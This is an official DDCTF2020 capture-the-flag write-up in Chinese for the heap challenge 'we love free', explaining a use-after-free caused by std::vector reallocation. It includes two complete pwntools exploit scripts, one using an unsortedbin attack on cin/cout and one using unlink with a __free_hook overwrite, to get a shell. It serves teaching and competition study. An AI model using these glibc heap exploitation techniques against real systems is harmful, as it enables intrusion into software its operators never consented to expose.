酷应用

DDCTF2020官方Write Up——PWN篇

百家作者：滴滴安全应急响应中心 2020-09-12 21:35:29

?0x01 ：we love free

???出题人现身说法，带来官方解读

we love free

团队昵称：Nanase

一血用时：2小时13分

出题人

罗爱国

滴滴出行安全工程师

出题人视角

本题使用了vector库，选手需要了解vector的机制。在插入第一个数据时，分配大小为1个数据大小的内存把数据存入；在插入第二个数据时，由于空间已经满了，把已有内存释放，再分配2个数据大小的内存，把数据存入；漏洞点是在show的时候把irte指针保存在bss段，然后再插入数据，这样就导致当前的地址空间被释放，但指针仍然指向的时旧的地址，这样就产生了use after free漏洞。

-----选手Write Up-----

这道题巧妙利用vector的扩容机制设置了一个漏洞，我自己解的时候是用unsortedbin attack攻击的cin，赛后还看到了用unlink来unlink自己的骚操作，这里把两种解法都记录下

解法一

vector结构：

00000000?vector??????????struc?;?(sizeof=0x18,?mappedto_7)
00000000?????????????????????????????????????????;?XREF:?.bss:vec_/r
00000000?start???????????dq??
00000008?cur?????????????dq??
00000010?end?????????????dq??
00000018?vector??????????ends
00000018
00000000?;?[00000018?BYTES.?COLLAPSED?STRUCT?Elf64_Rela.?PRESS?CTRL-NUMPAD+?TO?EXPAND]
00000000?;?[00000010?BYTES.?COLLAPSED?STRUCT?Elf64_Dyn.?PRESS?CTRL-NUMPAD+?TO?EXPAND]

vector的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间，在把原来的数据拷贝到新申请的空间中，在释放原先的空间，对应申请的堆块大小（加上头部）0x20,0x20,0x30,0x50,0x90.....

漏洞点：

思路为：

? 先add16个元素（0x90的堆块），这样调用show函数的时候，在push 0xAABBCCDD之后，原先的堆块就会被释放，这样就能有UAF的效果，先泄露下libc的地址，在调用clear函数清空，这里调用clear会触发malloc_consolidate，所以堆又会变成原来的样子

? 在add至少0x20个元素，每个元素都为one_gadget，在堆上残留数据，在调用clear函数清空堆

? 接着在add16个元素，调用show函数

? show函数还会问我们要不要修改元素的值，所以我们可以把unsorted bin的bk指针改掉，用作unsortedbin attack，改成啥后面再说

? 接着在修改push 0xAABBCCDD之后新申请的堆块的大小，改小size，在clear的时候不触发malloc_consolidate，这样就为后面的unsortedbin attack做好了准备

? 最后只要在add 9 个元素，vector就会申请0x80大小的堆块，触发unsortedbin attack，将unsortedbin的地址写入一个地方

现在的问题就是将这个unsortedbin的地址写哪里了，我们可以看到程序用到了cin，cout，在data段上有指针指向他们虚表：

所以我们选择攻击cin或者cout，都试一下，效果如下：

libc2.23有很多one_gadget，这里选的是：

?? 在add完元素之后就会调用cin，或者cout，就能触发one_gadget，拿到shell

exp：

from?pwn?import?*

context.arch?=?'amd64'

#?context.terminal?=?["tmux","split-window","-h"]

def?cmd(command):
????p.recvuntil(">>")
????p.sendline(str(command))
def?add(cap):
????cmd(1)
????p.recvuntil("num:")
????p.sendline(str(cap))

def?show():
????cmd(2)


def?clear():
????cmd(3)


def?main(host,port=5005):
????global?p
????if?host:
????????p?=?remote(host,port)
????else:
????????p?=?process("./pwn1")
????????gdb.attach(p)
????????#?gdb.attach(p,"b?*0x000000000401192")
????for?i?in?range(0x10):
????????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????libc.address?=?int(p.recvuntil('\n')[:-1])?-?0x3c4b78
????info("libc?:?"?+?hex(libc.address))
????for?i?in?range(34):
????????p.recvuntil("(y/n):")
????????p.send('n')
????for?i?in?range(0x10):
????????add(libc.address)
????clear()

????for?i?in?range(0x21):
????????add(0xf67b0+libc.address)
????clear()


????#?unsorted?bin?attack
????for?i?in?range(0x10):
????????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????p.recvuntil("(y/n):")
????p.send('n')
????p.recvuntil("(y/n):")
????p.send('y')
????#?modify?unsortedbin->bk
????p.sendline(str(0x6051f8-0x10))
????for?i?in?range(32):
????????p.recvuntil("(y/n):")
????????p.send('y')
????????p.sendline(str(0x71))
????clear()
????#?trigger?one_gadget
????for?i?in?range(0x9):
????????add(0xcafebabedeadbeef)

????p.interactive()

if?__name__?==?"__main__":
????libc?=?ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
????main(args['REMOTE'])

解法二

如果把presize给改成-0x10，这样unlink的时候，p就会指向自己+0x10偏移处：

/*?consolidate?backward?*/
????if?(!prev_inuse(p))?{
??????prevsize?=?p->prev_size;
??????size?+=?prevsize;
??????p?=?chunk_at_offset(p,?-((long)?prevsize));
??????unlink(av,?p,?bck,?fwd);
????}

我们可以在这里构造好假的fd和bk，这样在free之后就可以改到数据段上的vec结构，连同迭代器也一起改了，这样就可以直接任意地址读写，把vec的begin改成__free_hook-8，cur改的比begin大就好，end也是，然后add数据的时候就可以修改__free_hook，getshell

exp：

from?pwn?import?*

context.arch?=?'amd64'

context.terminal?=?["tmux","split-window","-h"]

def?cmd(command):
????p.recvuntil(">>")
????p.sendline(str(command))
def?add(cap):
????cmd(1)
????p.recvuntil("num:")
????p.sendline(str(cap))

def?show():
????cmd(2)


def?clear():
????cmd(3)

def?write(data):
????p.recvuntil("(y/n):")
????p.send('y')
????p.sendline(str(data))

def?main(host,port=5005):
????global?p
????if?host:
???????p?=?remote(host,port)
????else:
???????p?=?process("./pwn1")
???????gdb.attach(p)
???????#?gdb.attach(p,"b?*0x000000000401192")
????for?i?in?range(0x10):
???????add(0xcafebabedeadbeef)
????show()
????p.recvuntil("1:")
????libc.address?=?int(p.recvuntil('\n')[:-1])?-?0x3c4b78
????info("libc?:?"?+?hex(libc.address))
????for?i?in?range(34):
???????p.recvuntil("(y/n):")
???????p.send('n')
????clear()

????for?i?in?range(0x10):
???????add(0xcafebabedeadbeef)

????show()

????for?i?in?range(16):
???????p.recvuntil("(y/n):")
???????p.send('n')
????write(-0x10)
????write(0x110)
????write(0)???#?prev_size
????write(0)???#?size
????write(0x605398-0x18)
????write(0x605398-0x10)

????for?i?in?range(12):
???????p.recvuntil("(y/n):")
???????p.send('n')
????for?i?in?range(0xf):
???????add(0xcafebabedeadbeef)
????show()
????#?we?can?overwrite?vec?now?!!
????write(libc.symbols["__free_hook"]-8)??????#?begin
????write(libc.symbols["__free_hook"]-8)??????#?current
????write(libc.symbols["__free_hook"]+0x20)??????#?end

????write(0x605398)??????#?it_begin
????write(0x6053b0)??????#?it_end
????p.recvuntil("(y/n):")
????p.send('n')

????add(u64('/bin/sh\x00'))
????add(libc.symbols["system"])
????clear()

????p.interactive()

if?__name__?==?"__main__":
????libc?=?ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
????main(args['REMOTE'])